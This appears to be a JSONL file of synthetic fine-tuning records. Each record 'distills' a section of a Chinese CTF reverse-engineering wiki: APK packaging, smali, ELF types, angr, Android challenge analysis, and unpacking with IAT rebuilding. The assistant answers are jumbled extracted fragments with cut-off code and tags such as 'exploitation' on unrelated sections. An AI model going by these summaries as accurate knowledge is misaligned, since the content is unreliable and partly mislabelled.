{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-cffe4dac189ef9201edf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_develop/basic_develop.md` 中的章节「Apk 打包流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_develop/basic_develop.md`\n标题：Android 开发基础\n章节：Android 开发基础 > Apk 打包流程\n路径分类：android / android/basic_develop/basic_develop.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Apk 打包流程”展开。\n- 2. 如果项目中使用到了 AIDL（Android Interface Definition Language）提供的服务，则需要使用 AIDL 工具解析 AIDL 接口文件生成相应的 Java 代码。\n- 5. 利用 apkbuilder 将第一步编译后的资源、第四步生成的 .dex 文件，以及一些其它资源打包到 APK 文件中。\n- 7. 在发布正式版之前，我们需要将 APK 包中资源文件距离文件的起始偏移修改为 4 字节的整数倍数，这样，在之后运行 App 的时候，速度会比较快。\n- 当编写完 App 相关的代码后，我们的最后一步就是将 App 中所有使用到的资源文件进行打包，打包流程如下图（http://androidsrc.net/android-app-build-overview/）所示： [图片文件: ./figure/android_app_build.png] 具体的操作如下 1. 使用 aapt( The Android Asset Packing Tool ) 对资源文件进行打包，生成 R.java 文件。\n- 3. 使用 javac 将 R.java 和 AIDL 文件编译为 .class 文件。\n\n关键术语：\n- Android逆向\n- AI安全\n- 漏洞利用\n- android\n- basic-develop\n- basic-develop.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 679, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "Apk 打包流程", "heading_path": ["Android 开发基础", "Apk 打包流程"], "original_id": "docs-d60ddb2ce8c295e0a983", "original_line": 27, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_develop/basic_develop.md", "source_root": "docs", "source_sha256": "5b5a37a3c63ef713b7025b9a7fabafcef130af2280f9c29d53e6df4b914c2456", "split": "train", "split_group_key": "a60af717832783b7af5e956b", "subcategory": "android/basic_develop/basic_develop.md", "terms": ["Android逆向", "AI安全", "漏洞利用", "android", "basic-develop", "basic-develop.md"], "title": "Android 开发基础"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_develop/basic_develop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-d0d6de247d5d4c68b47f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「2017 XMAN HelloSmali2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2017 XMAN HelloSmali2\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2017 XMAN HelloSmali2”展开。\n- 给的是一个 smali 文件，我们可以按照如下思路来做 利用 smali.jar 将 smali 汇编为 dex 文件。\n- ``shell java -jar smali.jar assemble src.smali -o src.dex ` 使用 jadx 反编译 dex，如下 `java package com.example.hellosmali.hellosmali;\n- } } ` 简单看一下，其实是一个变种的 base64 加密，我们可以在网上找一个 base64 编码，然后设置一下就好了，这里使用的脚本来自于 http://www.cnblogs.com/crazyrunning/p/7382693.html。\n- public class Digest { public static boolean check(String input) { String str = \"+/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n- if (input == null || input.length() == 0) { return false;\n\n关键术语：\n- Android逆向\n- AI安全\n- 漏洞利用\n- android\n- basic-reverse\n- static\n- java-example.md\n- code:shell\n- code:java\n- code:python\n\n代码/命令片段线索：\n- shell: 1 行，首行 `java -jar smali.jar assemble src.smali -o src.dex`\n- java: 39 行，首行 `package com.example.hellosmali.hellosmali;`\n- python: 30 行，首行 `#coding=utf8`\n- shell: 2 行，首行 `➜ tmp python test.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 2403, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "2017 XMAN HelloSmali2", "heading_path": ["静态分析 java 层例子", "2017 XMAN HelloSmali2"], "original_id": "docs-67ec49de723a724985f0", "original_line": 98, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "875f4616b0d18fb1f73c1346", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "AI安全", "漏洞利用", "android", "basic-reverse", "static", "java-example.md", "code:shell", "code:java", "code:python"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-d2a13c2561e9f44ff30c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/control-flow-flatten.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/control-flow-flatten.md`\n标题：控制流平坦化\n章节：控制流平坦化 > Reference\n路径分类：reverse / reverse/obfuscate/control-flow-flatten.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference”展开。\n- 腾讯安全应急响应中心 - 利用符号执行去除控制流平坦化 OBFUSCATING C++ PROGRAMS VIA CONTROL FLOW FLATTENING\n\n关键术语：\n- 漏洞利用\n- reverse\n- obfuscate\n- control-flow-flatten.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 182, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "Reference", "heading_path": ["控制流平坦化", "Reference"], "original_id": "docs-8dd4e3c52344ed70742c", "original_line": 1479, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/control-flow-flatten.md", "source_root": "docs", "source_sha256": "a13146bf953de717e641f39bf58a740ffb00ee7d8864bbdccd2e8160393ebdec", "split": "train", "split_group_key": "d08fcffa0fafd3cc68195972", "subcategory": "reverse/obfuscate/control-flow-flatten.md", "terms": ["漏洞利用", "reverse", "obfuscate", "control-flow-flatten.md"], "title": "控制流平坦化"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/control-flow-flatten.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-d2b87d79c41c2ea37041", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「endif」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：endif\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“endif”展开。\n- movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 2)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 3)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 4)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 5)(%rsp) movq %rdx, (STATE_SAVE_OFFSET + 512 + 8 6)(%rsp) movq %rdx, (...\n\n关键术语：\n- executable\n- elf\n- linking\n- symbol-resolve.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 310, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "endif", "heading_path": ["endif"], "original_id": "docs-a5a7bdde591de053dc01", "original_line": 450, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "7a75c3e130e2d84caff7dee7", "subcategory": "executable/elf/linking", "terms": ["executable", "elf", "linking", "symbol-resolve.md"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-d3dd9760b63fe656c369", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「try-finally」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 异常指令 > try-finally\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“try-finally”展开。\n- ` 其对应的smali代码如下 `smali const/16 v0, 0xa :try_start_0 # try 块开始 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;\n- >callAnotherMethod()V return-void :catchall_0 # finally 块开始 move-exception v1 const/4 v0, 0x0 throw v1 # finally 块结束 ` 可以看出，由于finally`中的逻辑无论有没有异常都会执行，所以代码里一共有两部分。\n- >callSomeMethod()V :try_end_0 # try 块结束 .catchall {:try_start_0 .. :try_end_0} :catchall_0 const/4 v0, 0x0 # 复制一份到外面 invoke-direct {p0}, Lnet/flygon/myapplication/SubActivity;\n- java代码如下 ``java int a = 10;\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 7 行，首行 `int a = 10;`\n- smali: 12 行，首行 `const/16 v0, 0xa`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 572, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "try-finally", "heading_path": ["interfaces", "执行语句", "具体指令", "异常指令", "try-finally"], "original_id": "docs-a9600b1f25ebe25bada1", "original_line": 63, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "7dc350630391625185c48fca", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-d64b02816c45a7e61bd3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「数据形式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > 简介 > 数据形式\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“数据形式”展开。\n- 因此，目标文件会包含一些控制数据，这部分数据表明了目标文件所使用的架构，这也使得它可以被通用的方式来识别和解释。\n- 这里其实想表明的意思目标文件可以进行交叉编译，我们可以在 x86 平台生成 arm 平台的可执行代码。\n- 当然，这种格式是可以扩展的，也可以支持更小的或者更大位数的处理器架构。\n- 如下 | 名称 | 长度 | 对齐方式 | 用途 | | :------------ | :--: | :--: | :-----: | | Elf32_Addr | 4 | 4 | 无符号程序地址 | | Elf32_Half | 2 | 2 | 无符号半整型 | | Elf32_Off | 4 | 4 | 无符号文件偏移 | | Elf32_Sword | 4 | 4 | 有符号大整型 | | Elf32_Word | 4 | 4 | 无符号大整型 | | unsigned char | 1 | 1 |...\n- 因此，包含一个 Elf32_Addr 类型成员的结构体会在文件中的 4 字节边界处对齐。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 637, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "数据形式", "heading_path": ["ELF 文件", "简介", "数据形式"], "original_id": "docs-43d3b9ba57dd415f8cd7", "original_line": 459, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "34ce998de2d76dec588c9b4d", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-d6dbec88ee5e99e17e4e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：method 2 > REFERENCE\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- Github - angr angr documentation 【ANGR.0x00】从 angr-CTF 入门 angr 的基本用法\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- angr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 180, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "REFERENCE", "heading_path": ["method 2", "REFERENCE"], "original_id": "docs-c050dd3e9547d514940e", "original_line": 1571, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "f0f33037ba90c17f277369bf", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "angr.md"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-e0a6b8ef2d180e3f1031", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/so-example.md` 中的章节「分析abcdefghijklmn」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/so-example.md`\n标题：静态分析原生层程序\n章节：静态分析原生层程序 > 原生层静态分析例子 > 2015-海峡两岸-一个APK，逆向试试吧 > 分析abcdefghijklmn\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析abcdefghijklmn”展开。\n- strcmp(seed[0], s2) ) ` - 判断3 `c v9 = ((jniEnv)->FindClass)();\n- LABEL_11: _android_log_print(4, \"log\", v4);\n- } _JNIEnv::CallStaticVoidMethod(jniEnv, v9, v5);\n- v6 ) _android_log_print(4, \"log\", \"fid,failed\");\n- v9 ) { v4 = \"class,failed\";\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-reverse\n- static\n- so-example.md\n- code:c\n- code:asm\n- code:java\n\n代码/命令片段线索：\n- c: 1 行，首行 `if ( strlen(v10) == 16 )`\n- c: 10 行，首行 `v3 = 0;`\n- c: 27 行，首行 `v9 = ((*jniEnv)->FindClass)();`\n- asm: 8 行，首行 `.text:00001070 LDR R0, [R5]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1303, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "分析abcdefghijklmn", "heading_path": ["静态分析原生层程序", "原生层静态分析例子", "2015-海峡两岸-一个APK，逆向试试吧", "分析abcdefghijklmn"], "original_id": "docs-e751a45a39be6e0f8fcc", "original_line": 101, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "source_root": "docs", "source_sha256": "fb270de07d8aea7ae9a3d64f3300458f9af935fc74f897f3fce7bd898e380416", "split": "train", "split_group_key": "cb562085e8061847d869c298", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "AI安全", "android", "basic-reverse", "static", "so-example.md", "code:c", "code:asm", "code:java"], "title": "静态分析原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-e12cf5d1f38ecd0bc5c2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「参数2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2014 Sharif University Quals CTF Commercial Application > 详细分析 > 参数2\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参数2”展开。\n- 是利用函数来获取getSecurityKey，我们简单阅读一下，可以发现程序在getConfig函数中设置了SecurityKey ``java public AppConfig getConfig() { boolean z = false;\n- 在进一步分析，我们可以发现程序在这里首先获取了表config的首行，然后将iv设置为第四列的值，key设置为第5列的值。\n- Cursor rawQuery = this.myDataBase.rawQuery(SELECT_QUERY, null);\n- if (rawQuery.moveToFirst()) { appConfig.setId(rawQuery.getInt(0));\n- appConfig.setName(rawQuery.getString(1));\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-reverse\n- static\n- java-example.md\n- code:java\n\n代码/命令片段线索：\n- java: 18 行，首行 `public AppConfig getConfig() {`\n- java: 4 行，首行 `private static String DB_NAME = \"db.db\";`\n- java: 2 行，首行 `appConfig.setSecurityIv(rawQuery.getString(4));`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1130, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "参数2", "heading_path": ["静态分析 java 层例子", "2014 Sharif University Quals CTF Commercial Application", "详细分析", "参数2"], "original_id": "docs-893cf3d229215620045f", "original_line": 93, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "8e9f60492611d4d5ff895ffc", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "漏洞利用", "android", "basic-reverse", "static", "java-example.md", "code:java"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-e1a4b364508e350ce43f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「Simulated Procedure」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：method 2 > Simulated Procedure\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Simulated Procedure”展开。\n- 我们可以通过创建一个继承自 angr.SimProcedure 的类并重写 run() 方法的方式来表示一个自定义函数，其中 run() 方法的参数为该函数所接收的参数： ``python class MyProcedure(angr.SimProcedure): def run(self, arg1, arg2): # do something, this's an example return self.state.memory.load(arg1, arg2) ` 自定义函数过程主要用于对文件中的原有函...\n- inline_call(procedure, *args)`: 内联地调用另一个 SimProcedure。\n- 在 angr 中 angr.SimProcedure 类用来表示在一个状态上的一个运行过程——即函数实际上是一个 SimPrecedure。\n- call(addr, args, continue_at): 调用文件中的函数。\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n- code:python3\n\n代码/命令片段线索：\n- python: 4 行，首行 `class MyProcedure(angr.SimProcedure):`\n- python3: 6 行，首行 `class MyProcedure(angr.SimProcedure):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1003, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Simulated Procedure", "heading_path": ["method 2", "Simulated Procedure"], "original_id": "docs-552476d26eb65d4e2ba5", "original_line": 1568, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "2cfea71cf3e24de87b91aa4b", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "angr.md", "code:python", "code:python3"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-e41e3a23d6addf8ebeb3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/fix-iat.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/fix-iat.md`\n标题：DUMP 及 IAT 重建\n章节：DUMP 及 IAT 重建 > 示例\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- ImportREC修复输入表入口点需要知道OEP, 也就是要在窗口右侧中间的OEP输入框中进行输入 [图片: importrec.png;\n- 文件: ./figure/fix_iat/dump.png] 将dump出的文件命名, 我这里是命名为dump.exe啦. 我们尝试来运行一下dump.exe, 可以发现程序无法正常运行, 对于一些简单的壳, 你dump出来发现无法正常运行, 如果你确实找到了正确的OEP并用IDA反编译查看结果良好, 那么你的第一想法就应该是程序的IAT出现了问题. 你就需要重建IAT. 我们需要使用ImportREC来帮助修复输入表. 打开ImportREC, 选择一个正在运行的进程原版.exe(原版.exe是我在OD中正...\n- 比如如下, 我们找到了OEP, 到达了程序的真正入口点. 我们这时就需要将程序dump出来. 我们右键, 选择\"用OllyDump脱壳调试进程\"(不过你也可以使用LoadPE来dump出来): [图片: right_click.jpg;\n- 文件: ./figure/fix_iat/importrec.png] 我们所知, 在Ollydbg里我们知道程序目前在的入口点是0049C25C, 而镜像基址是00400000 因此我们这里需要填写OEP是0009C25C 我们修改ImportREC中的OEP为0009C25C然后点击AutoSearch后, 弹出提示框\"发现可能是原IAT地址\" [图片: auto_search.png;\n- 文件: ./figure/fix_iat/auto_search.png] 我们点击\"Get Imports\"按钮便可以重建IAT. 左侧会显示IAT中各导入函数的地址以及是否有效. 显然在图中可以看到ImportREC找到了内存中IAT的位置并检测出各个函数都是有效的.\n\n关键术语：\n- 修复/缓解\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1192, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "示例", "heading_path": ["DUMP 及 IAT 重建", "示例"], "original_id": "docs-9e1ac7dbce70c184bed7", "original_line": 1539, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/fix-iat.md", "source_root": "docs", "source_sha256": "743852c4df46abc0f99cb75fdfcfecd28014a9f76e9ec48203bb2336741bc73f", "split": "train", "split_group_key": "4fa4ab9d33c3eeffc7d6a89b", "subcategory": "reverse/platform/windows", "terms": ["修复/缓解", "reverse", "platform", "windows", "unpack"], "title": "DUMP 及 IAT 重建"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/fix-iat.md", "split": "train", "type": "ctf_lora_sft"}
